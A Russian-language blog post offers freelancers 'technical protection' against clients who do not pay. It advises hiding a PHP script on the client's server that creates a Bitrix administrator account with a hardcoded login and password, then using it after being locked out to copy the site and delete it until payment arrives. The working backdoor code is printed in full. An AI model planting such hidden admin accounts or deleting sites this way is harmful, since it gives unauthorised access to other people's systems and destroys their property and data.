Наверное, многие из вас, уважаемые читатели, занимаются фрилансом. И многих из вас хоть когда-либо, возможно, кидали заказчики. Как этого избежать в плане каких-либо психологических вещей (довольно часто после первых двух минут общения можно понять, что вы объект кидалова), вы можете почитать на ресурсах, посвященных фрилансу. Я эту тему не затрагиваю, я лишь попробую немного помочь вам с технической стороны.
Первый момент
Как только вы получили доступ к проекту, в первую очередь делайте резервную копию. Это может помочь, кстати, и вам самим, если запутаетесь, чего натворили. Копия нужна будет для того, чтобы если вдруг вы не получите денег, вы всегда сможете вернуть вашему негодяю-клиенту то, что у него было, и, таким образом, он тоже ничего не получит. Если вы договорились на поэтапную оплату, делайте копию каждый раз после получения оплаты за этап.
Второй момент
На тот случай, если клиент оказался настолько козлом, что просто изменил доступы к проекту, не известив вас, а все ваши сообщения просто игнорирует, нам поможет простенький скрипт, который создает админскую учетную запись. Его нужно запрятать куда-нибудь поглубже не фтп, и вызвать в случае обмана вас заказчиком. Таким образом мы вернемся доступ к админке. После чего следует сделать резервную копию, сохранить её себе на комп, а сам сайт на хрен снести до получения оплаты :) Уверяю, клиент объявится сам :)
Писать тут, в общем-то, и нечего. Этот пост скорее для того, чтобы не забывали это сделать и подстраховаться. Тем не менее приложу код:
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php"); $login = 'superuser'; // Логин $password = 'aZi-i8ffAvD[fds'; // Пароль. Делайте со спецсимволами, цифрами и символами верхнего и нижнего регистра, а то не создастся $groups = array(1); // ID админской группы. Скорее всего =1 $email = 'your@email.com'; // Почта. На всякий случай $user = new CUser; $arFields = array( "EMAIL" => $email, "LOGIN" => $login, "LID" => "ru", "ACTIVE" => "Y", "GROUP_ID" => $groups, "PASSWORD" => $password, "CONFIRM_PASSWORD" => $password ); $ID = $user->Add($arFields); if(intval($ID) > 0) echo 'Админ создан'; else echo $user->LAST_ERROR; require($_SERVER["DOCUMENT_ROOT"]."/bitrix/footer.php");?>
P.S. Работайте с предоплатой :)



Комментарии (8)